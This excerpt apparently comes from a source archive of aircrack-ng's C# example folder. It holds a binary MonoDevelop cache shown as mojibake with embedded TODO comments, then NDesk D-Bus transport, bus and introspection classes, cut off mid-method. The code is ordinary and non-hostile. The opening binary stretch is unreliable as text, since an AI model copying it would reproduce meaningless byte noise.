2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixNativeTransport.cs ãÿÿÿaÿÿÿå‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\UnixTransport.cs æÿÿÿaÿÿÿè|C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Wrapper.cs éÿÿÿaÿÿÿë‚C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\Notifications.cs ì í)System.Runtime.Remoting.Proxies.RealProxyîSystem.Exception  ï ð'MonoDevelop.Projects.Dom.ReferenceEntry databaseUriñHAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.dllòJAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\mscorlib.dllóLAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\System.Xml.dllôLAssembly:MS.NET:C:\Program Files\GtkSharp\2.12\lib\Mono.Posix\Mono.Posix.dll1MonoDevelop.Projects.Dom.Serialization.ClassEntry positionnspacenametypeParameterCount subclassesflagsctype modifiers typeModifier System.Collections.ArrayList3MonoDevelop.Projects.Dom.Serialization.ContentFlags"MonoDevelop.Projects.Dom.ClassType"MonoDevelop.Projects.Dom.Modifiers%MonoDevelop.Projects.Dom.TypeModifierLõ NDesk.DBusöSignal  ÿÿÿ3MonoDevelop.Projects.Dom.Serialization.ContentFlagsvalue__Nÿÿÿ"MonoDevelop.Projects.Dom.ClassTypevalue__ÿÿÿ"MonoDevelop.Projects.Dom.Modifiersvalue__ÿÿÿ%MonoDevelop.Projects.Dom.TypeModifiervalue__4 õüError ÿÿÿ ÿÿÿNÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ õ MethodReturn ýþÿÿ ÿÿÿNüþÿÿÿÿÿûþÿÿÿÿÿúþÿÿÿÿÿ¯ õ MethodCall ÷þÿÿ ÿÿÿNöþÿÿÿÿÿõþÿÿÿÿÿôþÿÿÿÿÿ [  NDesk.DBus.Transports UnixTransport ñþÿÿ ÿÿÿðþÿÿÿÿÿïþÿÿÿÿÿîþÿÿÿÿÿ#º NDesk.DBusTypeImplementer ëþÿÿ ÿÿÿêþÿÿÿÿÿéþÿÿÿÿÿ‚èþÿÿÿÿÿ&îNDesk.DBus.Transports Transport äþÿÿ ÿÿÿ8ãþÿÿÿÿÿâþÿÿÿÿÿáþÿÿÿÿÿ)˜ NDesk.DBus.Transports!SocketTransport Þþÿÿ ÿÿÿÝþÿÿÿÿÿÜþÿÿÿÿÿÛþÿÿÿÿÿ,!& NDesk.DBus'DType Øþÿÿ ÿÿÿ×þÿÿÿÿÿÖþÿÿÿÿÿÕþÿÿÿÿÿ/ö$ &- ArgDirection Òþÿÿ ÿÿÿÑþÿÿÿÿÿÐþÿÿÿÿÿÏþÿÿÿÿÿ2'& &3 Signature Ìþÿÿ ÿÿÿxNËþÿÿÿÿÿÊþÿÿÿÿÿBÉþÿÿÿÿÿ568 NDesk.DBus9Protocol Æþÿÿ ÿÿÿNÅþÿÿÿÿÿÄþÿÿÿÿÿ‚Ãþÿÿÿÿÿ8¹: 8? ObjectPath Àþÿÿ ÿÿÿ8N¿þÿÿÿÿÿ¾þÿÿÿÿÿH½þÿÿÿÿÿ;!> 8E HeaderFlag ºþÿÿ ÿÿÿ¹þÿÿÿÿÿ¸þÿÿÿÿÿ·þÿÿÿÿÿ>¬? 8K EndianFlag ´þÿÿ ÿÿÿ³þÿÿÿÿÿ²þÿÿÿÿÿ±þÿÿÿÿÿAÞ@ 8Q FieldCode ®þÿÿ ÿÿÿ­þÿÿÿÿÿ¬þÿÿÿÿÿ«þÿÿÿÿÿD C 8W MessageType ¨þÿÿ ÿÿÿ§þÿÿÿÿÿ¦þÿÿÿÿÿ¥þÿÿÿÿÿG®D 8]Header ¢þÿÿ ÿÿÿ¡þÿÿÿÿÿ þÿÿÿÿÿBŸþÿÿÿÿÿJkGb NDesk.DBusc PendingCall œþÿÿ ÿÿÿ¨N›þÿÿÿÿÿšþÿÿÿÿÿ™þÿÿÿÿÿMŠJh NDesk.DBusiAddress –þÿÿ ÿÿÿ8•þÿÿÿÿÿ”þÿÿÿÿÿ‚“þÿÿÿÿÿP‘M ho AddressEntry þÿÿ ÿÿÿþÿÿÿÿÿŽþÿÿÿÿÿþÿÿÿÿÿStP huBadAddressException Šþÿÿ ÿÿÿN‰þÿÿÿÿÿˆþÿÿÿÿÿ‡þÿÿÿÿÿVÆQz NDesk.DBus{ MessageFilter „þÿÿ ÿÿÿƒþÿÿÿÿÿ‚þÿÿÿÿÿþÿÿÿÿÿYMT€ NDesk.DBusMessage ~þÿÿ ÿÿÿ8N}þÿÿÿÿÿ|þÿÿÿÿÿ{þÿÿÿÿÿ\X† NDesk.DBus‡ MatchRule xþÿÿ ÿÿÿNwþÿÿÿÿÿvþÿÿÿÿÿuþÿÿÿÿÿ_»]Œ NDesk.DBus Introspector rþÿÿ ÿÿÿNqþÿÿÿÿÿpþÿÿÿÿÿoþÿÿÿÿÿbag’ NDesk.DBus“ ExportObject lþÿÿ ÿÿÿ:Nkþÿÿÿÿÿjþÿÿÿÿÿiþÿÿÿÿÿe\j˜ NDesk.DBus™DProxy fþÿÿ ÿÿÿNeþÿÿÿÿÿdþÿÿÿÿÿcþÿÿÿÿÿhKožorg.freedesktop.DBusŸIBus `þÿÿ ÿÿÿ’_þÿÿÿÿÿ^þÿÿÿÿÿ]þÿÿÿÿÿk»w ž¥ Properties ¦Yþÿÿ ÿÿÿXþÿÿÿÿÿWþÿÿÿÿÿVþÿÿÿÿÿnS{ ž¬Introspectable ­Rþÿÿ ÿÿÿQþÿÿÿÿÿPþÿÿÿÿÿOþÿÿÿÿÿqz} ž³Peer Lþÿÿ ÿÿÿKþÿÿÿÿÿJþÿÿÿÿÿIþÿÿÿÿÿt͸¹NameLostHandler Fþÿÿ ÿÿÿ EþÿÿÿÿÿDþÿÿÿÿÿCþÿÿÿÿÿwæ€ ¸¿NameAcquiredHandler @þÿÿ ÿÿÿ ?þÿÿÿÿÿ>þÿÿÿÿÿ=þÿÿÿÿÿz‚ ¸ÅNameOwnerChangedHandler :þÿÿ ÿÿÿ 9þÿÿÿÿÿ8þÿÿÿÿÿ7þÿÿÿÿÿ}`ƒ žË StartReply 4þÿÿ ÿÿÿ3þÿÿÿÿÿ2þÿÿÿÿÿ1þÿÿÿÿÿ€¤„ žÑReleaseNameReply .þÿÿ ÿÿÿ-þÿÿÿÿÿ,þÿÿÿÿÿ+þÿÿÿÿÿƒ† ž×RequestNameReply (þÿÿ ÿÿÿ'þÿÿÿÿÿ&þÿÿÿÿÿ%þÿÿÿÿÿ†Ÿ‡ žÝNameFlag "þÿÿ ÿÿÿ!þÿÿÿÿÿ þÿÿÿÿÿþÿÿÿÿÿ‰X‰â NDesk.DBusã Connection äþÿÿ ÿÿÿ8NþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿŒ£›é NDesk.DBusê BusObject ëþÿÿ ÿÿÿ8Nþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿ¾¤ð NDesk.DBusñBus þÿÿ ÿÿÿ:N þÿÿÿÿÿ þÿÿÿÿÿH þÿÿÿÿÿ’ó®öNDesk.DBus.Authentication÷ SaslClient þÿÿ ÿÿÿNþÿÿÿÿÿþÿÿÿÿÿþÿÿÿÿÿ•U³ öý ServerState þÿÿ ÿÿÿþÿÿÿÿÿþÿÿÿÿÿÿýÿÿÿÿÿ˜Û´ ö ClientState üýÿÿ ÿÿÿûýÿÿÿÿÿúýÿÿÿÿÿùýÿÿÿÿÿ›`¶org.freedesktop  Notifications öýÿÿ ÿÿÿõýÿÿÿÿÿôýÿÿÿÿÿóýÿÿÿÿÿž·º ServerInformation ðýÿÿ ÿÿÿïýÿÿÿÿÿîýÿÿÿÿÿHíýÿÿÿÿÿ¡0MonoDevelop.Projects.Dom.Serialization.FileEntryfilePath parseTimeparseErrorRetries commentTasksclasses ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]  óÍÒœ«ý͈  ¤¡ £y;8¨Éˆ  §¡ ¦y;8¨Éˆ  ª¡ ©®žwwÝɈ  Œ­¡ ¬®žwwÝɈ  ‰°¡ ¯©4B_©Éˆ # $³¡ ²y;8¨Éˆ & e¶¡ µ®žwwÝɈ ) b¹¡ ¸Øó‚ßÎøÍˆ , _¼¡ »®žwwÝɈ ¿¡ ¾y;8¨Éˆ 0 \¡ Áy;8¨Éˆ 3 YÅ¡ Äy;8¨Éˆ 6 VÈ¡ Çy;8¨Éˆ Ë¡ Ê®žwwÝɈ Ρ Íy;8¨Éˆ ; <Ñ¡ ÐD¶P&ÚɈ > JÔ¡ Óy;8¨Éˆ A Bס Öy;8¨Éˆ D EÚ¡ Ùy;8¨Éˆ G )Ý¡ Üy;8¨Éˆ J &à¡ ßD¶P&ÚɈ M #ã¡ ây;8¨Éˆ æ¡ åy;8¨Éˆ Q é¡ èy;8¨Éˆ T Uì¡ ëÍó ñÏøÍˆ W XïSystem.Collections.ArrayList_items_size_version Yðï Zï [¦ï \­ï ]äï ^ëï _ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_versionMonoDevelop.Projects.Dom.Tag[] ` `1MonoDevelop.Projects.Dom.Serialization.ClassEntry ˜ • ’ d e   f# `$ 1MonoDevelop.Projects.Dom.Serialization.ClassEntry † ƒ € } z w t q n k h& s) t, u0 v3 w6 x; `<1MonoDevelop.Projects.Dom.Serialization.ClassEntry S P M> `A `B1MonoDevelop.Projects.Dom.Serialization.ClassEntry G D A > ; 8 5D … E1MonoDevelop.Projects.Dom.Serialization.ClassEntry 2 / ,G ‰J ŠM `Q `T ŒU1MonoDevelop.Projects.Dom.Serialization.ClassEntry    W `X1MonoDevelop.Projects.Dom.Serialization.ClassEntry ž ›Y e Z S [ – — ) ) \ › › ]  › › h^ ¡ _ £ b `MonoDevelop.Projects.Dom.TagdMonoDevelop.Projects.Dom.Tag ¥ ¦ § eMonoDevelop.Projects.Dom.Tag ¨ © ª « ¬ ­ ® ¯ ° fMonoDevelop.Projects.Dom.Tag ± ² ³ ´ µ ¶ · ¸ ¹ º » ¼ ½ ¾ ¿ sMonoDevelop.Projects.Dom.Tag À tMonoDevelop.Projects.Dom.Tag Á Â Ã Ä Å uMonoDevelop.Projects.Dom.Tag Æ Ç È É Ê Ë Ì ÍvMonoDevelop.Projects.Dom.Tag Î Ï Ð Ñ Ò wMonoDevelop.Projects.Dom.Tag Ó Ô xMonoDevelop.Projects.Dom.Tag Õ …MonoDevelop.Projects.Dom.Tag Ö × Ø Ù Ú Û Ü Ý Þ ß ‰MonoDevelop.Projects.Dom.Tag à ŠMonoDevelop.Projects.Dom.Tag á ŒMonoDevelop.Projects.Dom.Tag â ã ä å æ –ÿÿÿÿÿÿÿÿçNDesk.DBus.Transportsè UnixTransport ýÿÿ ÿÿÿýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ—ÿÿÿÿÿÿÿÿíNDesk.DBus.TransportsîSocketTransport ýÿÿ ÿÿÿýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ›ÿÿÿÿÿÿÿÿóorg.freedesktopô Notifications  ýÿÿ ÿÿÿ ýÿÿÿÿÿ ýÿÿÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿùorg.freedesktop.DBusúIBus ýÿÿ ÿÿÿ’ýÿÿÿÿÿýÿÿÿÿÿýÿÿÿÿÿ¡ÿÿÿÿÿÿÿÿÿ NDesk.DBusBus ÿüÿÿ ÿÿÿ:NþüÿÿÿÿÿýüÿÿÿÿÿHüüÿÿÿÿÿ£ÿÿÿÿÿÿÿÿ NDesk.DBus ExportObject ùüÿÿ ÿÿÿ:Nøüÿÿÿÿÿ÷üÿÿÿÿÿöüÿÿÿÿÿ¥MonoDevelop.Projects.Dom.Tagkey Comment+k__BackingField#Comment+k__BackingFieldComment+k__BackingFieldComment+k__BackingField(Comment+k__BackingField*Comment+k__BackingField$Comment+k__BackingField"MonoDevelop.Projects.Dom.DomRegion$MonoDevelop.Projects.Dom.CommentType TODO  ?TODO: parsing of starter bus type, or maybe do this another wayóüÿÿ"MonoDevelop.Projects.Dom.DomRegionstartend$MonoDevelop.Projects.Dom.DomLocation$MonoDevelop.Projects.Dom.DomLocationòüÿÿ$MonoDevelop.Projects.Dom.DomLocationk__BackingFieldk__BackingField3ñüÿÿòüÿÿ3Dðüÿÿ$MonoDevelop.Projects.Dom.CommentTypevalue__¦¥  0TODO: use the guid, not the whole address stringíüÿÿóüÿÿìüÿÿòüÿÿFëüÿÿòüÿÿF5êüÿÿðüÿÿ§¥  =TODO: consider what happens when a connection has been closedçüÿÿóüÿÿæüÿÿòüÿÿGåüÿÿòüÿÿGBäüÿÿðüÿÿ¨¥  )TODO: don't ignore retVal, exception etc.áüÿÿóüÿÿàüÿÿòüÿÿOßüÿÿòüÿÿO/Þüÿÿðüÿÿ©¥  $)TODO: don't ignore retVal, exception etc.ÛüÿÿóüÿÿÚüÿÿòüÿÿ`Ùüÿÿòüÿÿ`/Øüÿÿðüÿÿª¥  *$TODO: complete out parameter supportÕüÿÿóüÿÿÔüÿÿòüÿÿkÓüÿÿòüÿÿk*Òüÿÿðüÿÿ«¥  0TODO: don't hard code thisÏüÿÿóüÿÿÎüÿÿòüÿÿyÍüÿÿòüÿÿy Ìüÿÿðüÿÿ¬¥  6TODO: typed exceptionsÉüÿÿóüÿÿÈüÿÿòüÿÿšÇüÿÿòüÿÿšÆüÿÿðüÿÿ­¥  <DTODO: this needs to be done properly, not with simple String.ReplaceÃüÿÿóüÿÿÂüÿÿòüÿÿÊÁüÿÿòüÿÿÊKÀüÿÿðüÿÿ®¥  B$TODO: complete out parameter support½üÿÿóüÿÿ¼üÿÿòüÿÿà»üÿÿòüÿÿà*ºüÿÿðüÿÿ¯¥  HTODO: don't hard code this·üÿÿóüÿÿ¶üÿÿòüÿÿîµüÿÿòüÿÿî ´üÿÿðüÿÿ°¥  NTODO: typed exceptions±üÿÿóüÿÿ°üÿÿòüÿÿ ¯üÿÿòüÿÿ ®üÿÿðüÿÿ±¥  TTODO: reconsider this field«üÿÿóüÿÿªüÿÿòüÿÿ©üÿÿòüÿÿ ¨üÿÿðüÿÿ²¥  ZTODO: clean this bit up¥üÿÿóüÿÿ¤üÿÿòüÿÿ%£üÿÿòüÿÿ%¢üÿÿðüÿÿ³¥  `)TODO: try alternative addresses if neededŸüÿÿóüÿÿžüÿÿòüÿÿMüÿÿòüÿÿM/œüÿÿðüÿÿ´¥  fTODO: clean this bit up™üÿÿóüÿÿ˜üÿÿòüÿÿR—üÿÿòüÿÿR–üÿÿðüÿÿµ¥  l Outbound = new Queue (); public void Flush () { //should just iterate the enumerator here while (Outbound.Count != 0) { Message msg = Outbound.Dequeue (); WriteMessage (msg); } } public bool ReadWrite (int timeout_milliseconds) { //TODO return true; } public bool ReadWrite () { return ReadWrite (-1); } public bool Dispatch () { //TODO Message msg = Inbound.Dequeue (); //HandleMessage (msg); return true; } public bool ReadWriteDispatch (int timeout_milliseconds) { //TODO return Dispatch (); } public bool ReadWriteDispatch () { return ReadWriteDispatch (-1); } */üÿÿóüÿÿŒüÿÿòüÿÿ¢‹üÿÿòüÿÿÍŠüÿÿðüÿÿ·¥  xMTODO: support disconnection situations properly and move this check elsewhere‡üÿÿóüÿÿ†üÿÿòüÿÿ;…üÿÿòüÿÿ;S„üÿÿðüÿÿ¸¥  ~TODO: better exception handlingüÿÿóüÿÿ€üÿÿòüÿÿ_üÿÿòüÿÿ_'~üÿÿðüÿÿ¹¥  „>TODO: this is a hack, not necessary when MatchRule is complete{üÿÿóüÿÿzüÿÿòüÿÿwyüÿÿòüÿÿwDxüÿÿðüÿÿº¥  Š_TODO: how should we handle this condition? sending an Error may not be appropriate in this caseuüÿÿóüÿÿtüÿÿòüÿÿ‡süÿÿòüÿÿ‡früÿÿðüÿÿ»¥  ƒTODO: Ping and Introspect need to be abstracted and moved somewhere more appropriate once message filter infrastructure is completeoüÿÿóüÿÿnüÿÿòüÿÿšmüÿÿòüÿÿš‰lüÿÿðüÿÿ¼¥•FIXME –~FIXME: these special cases are slightly broken for the case where the member but not the interface is specified in the messageiüÿÿóüÿÿhüÿÿòüÿÿœgüÿÿòüÿÿœ„füÿÿðüÿÿ½¥ • œFIXME: do this properlycüÿÿóüÿÿbüÿÿòüÿÿ¨aüÿÿòüÿÿ¨`üÿÿðüÿÿ¾¥ • ¢-FIXME: this shouldn't be part of the core API]üÿÿóüÿÿ\üÿÿòüÿÿÏ[üÿÿòüÿÿÏ2Züÿÿðüÿÿ¿¥  ¨­TODO: implement some kind of tree data structure or internal object hierarchy. right now we are ignoring the name and putting all object paths in one namespace, which is badWüÿÿóüÿÿVüÿÿòüÿÿûUüÿÿòüÿÿû³TüÿÿðüÿÿÀ¥ • ®'FIXME: remove handlers/match rules hereQüÿÿóüÿÿPüÿÿòüÿÿJOüÿÿòüÿÿJ-NüÿÿðüÿÿÁ¥  ´;TODO: perhaps ExportObject should not derive from BusObjectKüÿÿóüÿÿJüÿÿòüÿÿ Iüÿÿòüÿÿ ?HüÿÿðüÿÿÂ¥  º=TODO: there is no member name mapping for properties etc. yetEüÿÿóüÿÿDüÿÿòüÿÿ3Cüÿÿòüÿÿ3CBüÿÿðüÿÿÃ¥  À(TODO: complete exception sending support?üÿÿóüÿÿ>üÿÿòüÿÿE=üÿÿòüÿÿE/<üÿÿðüÿÿÄ¥  ÆWTODO: we should be more strict here, but this fallback was added as a quick fix for p2p9üÿÿóüÿÿ8üÿÿòüÿÿO7üÿÿòüÿÿO^6üÿÿðüÿÿÅ¥  Ì~ public void Ping () { } public string GetMachineId () { //TODO: implement this return String.Empty; } */3üÿÿóüÿÿ2üÿÿòüÿÿ]1üÿÿòüÿÿg0üÿÿðüÿÿÆ¥  ÒTODO: complete this class-üÿÿóüÿÿ,üÿÿòüÿÿ+üÿÿòüÿÿ*üÿÿðüÿÿÇ¥  Ø`TODO: non-well-known introspection has paths as well, which we don't do yet. read the spec again'üÿÿóüÿÿ&üÿÿòüÿÿ^%üÿÿòüÿÿ^f$üÿÿðüÿÿÈ¥  Þ>TODO: review recursion of interfaces and inheritance hierarchy!üÿÿóüÿÿ üÿÿòüÿÿnüÿÿòüÿÿnDüÿÿðüÿÿÉ¥  ä8TODO: clean up and get rid of reverse (or argIsOut) parmüÿÿóüÿÿüÿÿòüÿÿ}üÿÿòüÿÿ}=üÿÿðüÿÿÊ¥  ê:TODO: avoid writing null (DType.Invalid) to the XML streamüÿÿóüÿÿüÿÿòüÿÿ’üÿÿòüÿÿ’@üÿÿðüÿÿË¥  ð TODO: this is unreliable, fix itüÿÿóüÿÿüÿÿòüÿÿá üÿÿòüÿÿá& üÿÿðüÿÿÌ¥  öTODO: indexers üÿÿóüÿÿüÿÿòüÿÿüÿÿòüÿÿüÿÿðüÿÿÍ¥  ü TODO: attributes as annotations?üÿÿóüÿÿüÿÿòüÿÿ üÿÿòüÿÿ &üÿÿðüÿÿÎ¥  *TODO: see why path comparison doesn't workýûÿÿóüÿÿüûÿÿòüÿÿ:ûûÿÿòüÿÿ:0úûÿÿðüÿÿÏ¥ • FIXME: do args÷ûÿÿóüÿÿöûÿÿòüÿÿEõûÿÿòüÿÿEôûÿÿðüÿÿÐ¥ • FIXME: not at all optimalñûÿÿóüÿÿðûÿÿòüÿÿLïûÿÿòüÿÿLîûÿÿðüÿÿÑ¥ • FIXME: do argsëûÿÿóüÿÿêûÿÿòüÿÿ’éûÿÿòüÿÿ’èûÿÿðüÿÿÒ¥  $TODO: more consistent error handlingåûÿÿóüÿÿäûÿÿòüÿÿºãûÿÿòüÿÿº+âûÿÿðüÿÿÓ¥   )TODO: is this the right place to do this?ßûÿÿóüÿÿÞûÿÿòüÿÿ/ÝûÿÿòüÿÿZÜûÿÿðüÿÿÔ¥  &TODO: make use of LockedÙûÿÿóüÿÿØûÿÿòüÿÿ;×ûÿÿòüÿÿ;ÖûÿÿðüÿÿÕ¥  ,JTODO: remove this -- left here for the benefit of the monitor tool for nowÓûÿÿóüÿÿÒûÿÿòüÿÿ4Ñûÿÿòüÿÿ4OÐûÿÿðüÿÿÖ¥  2ATODO: Reflection should be done at a higher level than this classÍûÿÿóüÿÿÌûÿÿòüÿÿ Ëûÿÿòüÿÿ DÊûÿÿðüÿÿ×¥  8 TODO: this class needs some workÇûÿÿóüÿÿÆûÿÿòüÿÿÅûÿÿòüÿÿ%ÄûÿÿðüÿÿØ¥  >´ //TODO: remove this hack to handle bad case when Data is null if (a.data == null || b.data == null) throw new Exception ("Encountered Signature with null buffer"); */ÁûÿÿóüÿÿÀûÿÿòüÿÿ¿ûÿÿòüÿÿ¾ûÿÿðüÿÿÙ¥  DHTODO: this should be private, but MessageWriter and Monitor still use it»ûÿÿóüÿÿºûÿÿòüÿÿv¹ûÿÿòüÿÿvM¸ûÿÿðüÿÿÚ¥ • Jn //FIXME: hack to handle bad case when Data is null if (data == null) return String.Empty; */µûÿÿóüÿÿ´ûÿÿòüÿÿ³ûÿÿòüÿÿ“²ûÿÿðüÿÿÛ¥  P“ //TODO: complete this public bool IsPrimitive { get { if (this == Signature.Empty) return true; return false; } } */¯ûÿÿóüÿÿ®ûÿÿòüÿÿÙ­ûÿÿòüÿÿä¬ûÿÿðüÿÿÜ¥  VTODO: improve this©ûÿÿóüÿÿ¨ûÿÿòüÿÿ§ûÿÿòüÿÿ¦ûÿÿðüÿÿÝ¥ • \(FIXME: this method is bad, get rid of it£ûÿÿóüÿÿ¢ûÿÿòüÿÿL¡ûÿÿòüÿÿL- ûÿÿðüÿÿÞ¥  b#TODO: maybe throw an exception hereûÿÿóüÿÿœûÿÿòüÿÿp›ûÿÿòüÿÿp)šûÿÿðüÿÿߥ  hKTODO: remove Struct and DictEntry -- they are not relevant to wire protocol—ûÿÿóüÿÿ–ûÿÿòüÿÿ.•ûÿÿòüÿÿ.P”ûÿÿðüÿÿॠ nTODO: use Socket directly‘ûÿÿóüÿÿûÿÿòüÿÿ#ûÿÿòüÿÿ#Žûÿÿðüÿÿᥠ tTODO: design this properly‹ûÿÿóüÿÿŠûÿÿòüÿÿ.‰ûÿÿòüÿÿ.ˆûÿÿðüÿÿ⥠ z,TODO: complete and use these wrapper classes…ûÿÿóüÿÿ„ûÿÿòüÿÿ ƒûÿÿòüÿÿ 0‚ûÿÿðüÿÿ㥠• €FFIXME: signature sending/receiving is currently ambiguous in this codeûÿÿóüÿÿ~ûÿÿòüÿÿ}ûÿÿòüÿÿJ|ûÿÿðüÿÿä¥ • †uFIXME: in fact, these classes are totally broken and end up doing no-op, do not use without understanding the problemyûÿÿóüÿÿxûÿÿòüÿÿwûÿÿòüÿÿyvûÿÿðüÿÿå¥  Œ5TODO: consider setting Sender here for p2p situationssûÿÿóüÿÿrûÿÿòüÿÿqûÿÿòüÿÿ;pûÿÿðüÿÿæ¥  ’=TODO: filled by the bus so reliable, but not the case for p2pmûÿÿóüÿÿlûÿÿòüÿÿ/kûÿÿòüÿÿ/Cjûÿÿðüÿÿ C¼aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/SocketTransport.cs0000644000000000000000000000240211600013506025122 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; using System.Net; using System.Net.Sockets; namespace NDesk.DBus.Transports { class SocketTransport : Transport { protected Socket socket; public override void Open (AddressEntry entry) { string host, portStr; int port; if (!entry.Properties.TryGetValue ("host", out host)) throw new Exception ("No host specified"); if (!entry.Properties.TryGetValue ("port", out portStr)) throw new Exception ("No port specified"); if (!Int32.TryParse (portStr, out port)) throw new Exception ("Invalid port: \"" + port + "\""); Open (host, port); } public void Open (string host, int port) { //TODO: use Socket directly TcpClient client = new TcpClient (host, port); Stream = client.GetStream (); } public void Open (Socket socket) { this.socket = socket; socket.Blocking = true; SocketHandle = (long)socket.Handle; //Stream = new UnixStream ((int)socket.Handle); Stream = new NetworkStream (socket); } public override void WriteCred () { Stream.WriteByte (0); } public override string AuthString () { return String.Empty; } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Bus.cs0000644000000000000000000000736111600013506022517 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using org.freedesktop.DBus; namespace NDesk.DBus { public sealed class Bus : Connection { static Bus systemBus = null; public static Bus System { get { if (systemBus == null) { try { if (Address.StarterBusType == "system") systemBus = Starter; else systemBus = Bus.Open (Address.System); } catch (Exception e) { throw new Exception ("Unable to open the system message bus.", e); } } return systemBus; } } static Bus sessionBus = null; public static Bus Session { get { if (sessionBus == null) { try { if (Address.StarterBusType == "session") sessionBus = Starter; else sessionBus = Bus.Open (Address.Session); } catch (Exception e) { throw new Exception ("Unable to open the session message bus.", e); } } return sessionBus; } } //TODO: parsing of starter bus type, or maybe do this another way static Bus starterBus = null; public static Bus Starter { get { if (starterBus == null) { try { starterBus = Bus.Open (Address.Starter); } catch (Exception e) { throw new Exception ("Unable to open the starter message bus.", e); } } return starterBus; } } //public static readonly Bus Session = null; //TODO: use the guid, not the whole address string //TODO: consider what happens when a connection has been closed static Dictionary buses = new Dictionary (); //public static Connection Open (string address) public static new Bus Open (string address) { if (address == null) throw new ArgumentNullException ("address"); if (buses.ContainsKey (address)) return buses[address]; Bus bus = new Bus (address); buses[address] = bus; return bus; } IBus bus; static readonly string DBusName = "org.freedesktop.DBus"; static readonly ObjectPath DBusPath = new ObjectPath ("/org/freedesktop/DBus"); public Bus (string address) : base (address) { bus = GetObject (DBusName, DBusPath); /* bus.NameAcquired += delegate (string acquired_name) { Console.WriteLine ("NameAcquired: " + acquired_name); }; */ Register (); } //should this be public? //as long as Bus subclasses Connection, having a Register with a completely different meaning is bad void Register () { if (unique_name != null) throw new Exception ("Bus already has a unique name"); unique_name = bus.Hello (); } public ulong GetUnixUser (string name) { return bus.GetConnectionUnixUser (name); } public RequestNameReply RequestName (string name) { return RequestName (name, NameFlag.None); } public RequestNameReply RequestName (string name, NameFlag flags) { return bus.RequestName (name, flags); } public ReleaseNameReply ReleaseName (string name) { return bus.ReleaseName (name); } public bool NameHasOwner (string name) { return bus.NameHasOwner (name); } public StartReply StartServiceByName (string name) { return StartServiceByName (name, 0); } public StartReply StartServiceByName (string name, uint flags) { return bus.StartServiceByName (name, flags); } internal protected override void AddMatch (string rule) { bus.AddMatch (rule); } internal protected override void RemoveMatch (string rule) { bus.RemoveMatch (rule); } string unique_name = null; public string UniqueName { get { return unique_name; } set { if (unique_name != null) throw new Exception ("Unique name can only be set once"); unique_name = value; } } } } aircrack-ng-1.2-beta3/lib/csharp/MonoExample/NDesk-dbus/Introspection.cs0000644000000000000000000002231111600013506024616 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Xml; using System.Text; using System.Reflection; namespace NDesk.DBus { //TODO: complete this class class Introspector { const string NAMESPACE = "http://www.freedesktop.org/standards/dbus"; const string PUBLIC_IDENTIFIER = "-//freedesktop//DTD D-BUS Object Introspection 1.0//EN"; const string SYSTEM_IDENTIFIER = "http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd"; public StringBuilder sb; public string xml; public ObjectPath root_path = ObjectPath.Root; protected XmlWriter writer; public Introspector () { XmlWriterSettings settings = new XmlWriterSettings (); settings.Indent = true; settings.IndentChars = (" "); settings.OmitXmlDeclaration = true; sb = new StringBuilder (); writer = XmlWriter.Create (sb, settings); } static string GetProductDescription () { String version; Assembly assembly = Assembly.GetExecutingAssembly (); AssemblyName aname = assembly.GetName (); AssemblyInformationalVersionAttribute iversion = Attribute.GetCustomAttribute (assembly, typeof (AssemblyInformationalVersionAttribute)) as AssemblyInformationalVersionAttribute; if (iversion != null) version = iversion.InformationalVersion; else version = aname.Version.ToString (); return aname.Name + " " + version; } public void WriteStart () { writer.WriteDocType ("node", PUBLIC_IDENTIFIER, SYSTEM_IDENTIFIER, null); writer.WriteComment (" " + GetProductDescription () + " "); //the root node element writer.WriteStartElement ("node"); } public void WriteNode (string name) { writer.WriteStartElement ("node"); writer.WriteAttributeString ("name", name); writer.WriteEndElement (); } public void WriteEnd () { /* WriteEnum (typeof (org.freedesktop.DBus.NameFlag)); WriteEnum (typeof (org.freedesktop.DBus.NameReply)); WriteEnum (typeof (org.freedesktop.DBus.ReleaseNameReply)); WriteEnum (typeof (org.freedesktop.DBus.StartReply)); WriteInterface (typeof (org.freedesktop.DBus.IBus)); */ writer.WriteEndElement (); writer.Flush (); xml = sb.ToString (); } //public void WriteNode () public void WriteType (Type target_type) { //writer.WriteStartElement ("node"); //TODO: non-well-known introspection has paths as well, which we don't do yet. read the spec again //hackishly just remove the root '/' to make the path relative for now //writer.WriteAttributeString ("name", target_path.Value.Substring (1)); //writer.WriteAttributeString ("name", "test"); //reflect our own interface manually WriteInterface (typeof (org.freedesktop.DBus.Introspectable)); //reflect the target interface if (target_type != null) { WriteInterface (target_type); foreach (Type ifType in target_type.GetInterfaces ()) WriteInterface (ifType); } //TODO: review recursion of interfaces and inheritance hierarchy //writer.WriteEndElement (); } public void WriteArg (ParameterInfo pi) { WriteArg (pi.ParameterType, Mapper.GetArgumentName (pi), pi.IsOut, false); } public void WriteArgReverse (ParameterInfo pi) { 